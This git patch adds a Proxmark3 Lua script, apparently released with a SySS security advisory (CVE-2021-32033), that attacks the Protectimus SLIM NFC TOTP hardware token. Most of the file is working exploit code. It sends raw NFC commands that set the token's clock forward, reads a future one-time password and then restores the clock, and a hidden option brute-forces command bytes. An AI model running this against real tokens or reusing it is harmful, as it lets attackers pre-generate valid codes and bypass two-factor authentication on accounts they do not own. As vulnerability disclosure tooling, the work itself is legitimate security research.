From 6348ad308c102410a64aa85281929eeb9ace5e27 Mon Sep 17 00:00:00 2001 From: Matthias Deeg Date: Wed, 16 Jun 2021 11:10:37 +0200 Subject: [PATCH] add Lua script for RFID-based TOTP token Protectimus SLIM NFC --- client/luascripts/hf_14a_protectimus_nfc.lua | 427 +++++++++++++++++++ 1 file changed, 427 insertions(+) create mode 100644 client/luascripts/hf_14a_protectimus_nfc.lua diff --git a/client/luascripts/hf_14a_protectimus_nfc.lua b/client/luascripts/hf_14a_protectimus_nfc.lua new file mode 100644 index 000000000..77b595cd5 --- /dev/null +++ b/client/luascripts/hf_14a_protectimus_nfc.lua @@ -0,0 +1,427 @@ +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') +local ansicolors = require('ansicolors') + +copyright = '(c) 2021 SySS GmbH' +author = 'Matthias Deeg' +version = 'v0.8' +desc = [[ +This script can perform different operations on a Protectimus SLIM NFC +hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033) +]] +example = [[ +-- default +script run hf_14a_protectimus_nfc +]] +usage = [[ +script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00] +]] +arguments = [[ +-h This help +-i Read token info (e.g. firmware version, OTP interval) +-r Read the current one-time password (OTP) +-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO) + e.g. 2029-01-01T13:37:00+01:00 +]] + +-- Some globals +local DEBUG = false -- the debug flag + +-- Defined operations +local READ_OTP = 1 -- read the one-time password +local READ_INFO = 2 -- read the NFC token info +local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack + +-- A debug printout function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i + 1 + end + else + print('###', args) + end +end + +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, err +end + +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print(ansicolors.cyan .. 'Usage' .. ansicolors.reset) + print(usage) + print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset) + print(arguments) + print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset) + print(example) +end + +-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO) +function getUnixTime(datetime) + + -- get time delta regarding Coordinated Universal Time (UTC) + local now_local = os.time() + local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local))) + local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600) + + -- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS" + local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)" + local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern) + + if new_year == nil or new_month == nil or new_day == nil or + new_hour == nil or new_minute == nil or new_seconds == nil or + new_hour_offset == nil or new_minute_offset == nil then + + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" .. + " Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" .. + " e.g. 2029-01-01T13:37:00+01:00") + return nil + end + + -- get the requested datetime as Unix time (UTC) + local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset, + min = new_minute + minute_offset - new_minute_offset, sec = new_seconds}) + + return epoch +end + +-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command +function sendRaw(rawdata, options) + + -- send raw + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + + lib14a.ISO14A_COMMAND.ISO14A_RAW + + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + + local command = Command:newMIX{ + cmd = cmds.CMD_HF_ISO14443A_READER, + + -- arg1 is the defined flags for sending "raw" ISO 14443A package + arg1 = flags, + + -- arg2 contains the length, which is half the length of the ASCII + -- string data + arg2 = string.len(rawdata) / 2, + data = rawdata + } + + return command:sendMIX(options.ignore_response) +end + +-- Read the current one-time password (OTP) +function readOTP(show_output) + -- read OTP command + local cmd = "028603420042" + local otp_value = '' + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)") + end + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") + return nil + end + + if data:sub(0, 8) == "02AA0842" then + -- extract the binary-coded decimal (BCD) OTP value from the response + for i = 10, #data - 2, 2 do + local c = data:sub(i, i) + otp_value = otp_value .. c + end + + -- show the output if requested + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset) + end + else + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") + otp_value = nil + end + + return otp_value +end + +-- Read token info +function readInfo(show_output) + -- read info command + local cmd = "0286021010" + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info") + end + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[-] Error: Could not read the token info") + return nil + end + + if data:sub(0, 8) == "02AA0B10" then + -- extract the token info from the response + local hardware_schema = tonumber(data:sub(11, 12)) + local firmware_version_major = tonumber(data:sub(13, 14)) + local firmware_version_minor = tonumber(data:sub(13, 14)) + local hardware_rtc = tonumber(data:sub(19, 20)) + local otp_interval = tonumber(data:sub(23, 24)) + + local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" .. + " Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" .. + " Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" .. + " Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" .. + " OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset + + -- check hardware real-time clock (RTC) + if hardware_rtc == 1 then + hardware_rtc = true + else + hardware_rtc = false + end + + -- check one-time password interval + if otp_interval == 0 then + otp_interval = '30' + elseif otp_interval == 10 then + otp_interval = '60' + else + otp_interval = 'unknown' + end + + if show_output then + -- show the token info + print(string.format(info, hardware_schema, firmware_version_major, + firmware_version_minor, hardware_rtc, + otp_interval)) + end + + return otp_interval + else + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info") + otp_value = nil + end + + return info +end + +-- Bruteforce commands +function bruteforceCommands() + -- read OTP command + local cmd = '' + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands") + end + + for n = 0, 255 do + cmd = string.format("028602%d%d", n) + + print(string.format("[+] Send command %s", cmd)) + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response") + else + print(data) + end + + io.read(1) + end +end + + +-- Set an arbitrary Unix time (epoch) +function setTime(time, otp_interval) + -- calculate the two required time variables + local time_var1 = math.floor(time / otp_interval) + local time_var2 = math.floor(time % otp_interval) + + -- build the raw command data + local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2) + + -- calculate XOR checksum on data + local checksum = 0 + for i = 1, #data, 2 do + local c = data:sub(i, i + 1) + checksum = bit32.bxor(checksum , tonumber(c, 16)) + end + + -- build the complete raw command + local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum) + + print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time)) + + -- send raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) +end + +-- Set the current time +function setCurrentTime(otp_interval) + -- get the current Unix time (epoch) + local current_time = os.time(os.date("*t")) + setTime(current_time, otp_interval) +end + +-- Perform a time travel attack for generating a future OTP +function timeTravelAttack(datetime_string, otp_interval) + if nil == datetime_string then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given") + return nil + end + + -- get the future time as Unix time + local future_time = getUnixTime(datetime_string) + + if nil == future_time then + return + end + + -- set the future time + setTime(future_time, otp_interval) + + print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press ") + -- while loop do + io.read(1) + + -- read the OTP + local otp = readOTP(false) + print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " .. + ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " .. + ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp)) + + -- reset the current time + setCurrentTime(otp_interval) +end + +-- Show a fancy banner +function banner() + print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" .. + "Perform different operations on a Protectimus SLIM NFC hardware token", version)) +end + +-- The main entry point +function main(args) + local ignore_response = false + local no_rats = false + local operation = READ_OTP + local target_time = nil + + -- show a fancy banner + banner() + + -- read the parameters + for o, a in getopt.getopt(args, 'hirt:b') do + if o == 'h' then return help() end + if o == 'i' then operation = READ_INFO end + if o == 'r' then operation = READ_OTP end + if o == 't' then + operation = TIME_TRAVELER_ATTACK + target_time = a + end + if o == 'b' then bruteforceCommands() end + end + + -- connect to the TOTP hardware token + info, err = lib14a.read(true, no_rats) + if err then + lib14a.disconnect() + return oops(err) + end + + -- show tag info + print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid)) + + -- perform the requested operation + if operation == READ_OTP then + readOTP(true) + elseif operation == READ_INFO then + readInfo(true) + elseif operation == TIME_TRAVELER_ATTACK then + -- read token info and get OTP interval + local otp_interval = readInfo(false) + if nil == otp_interval then + return + end + -- perform time traveler attack + timeTravelAttack(target_time, otp_interval) + end + + -- disconnect + lib14a.disconnect() +end + +------------------------- +-- Testing +------------------------- +function selftest() + DEBUG = true + dbg('Performing test') + main() + dbg('Tests done') +end +-- Flip the switch here to perform a sanity check. +-- It read a nonce in two different ways, as specified in the usage-section +if '--test' == args then + selftest() +else + -- Call the main + main(args) +end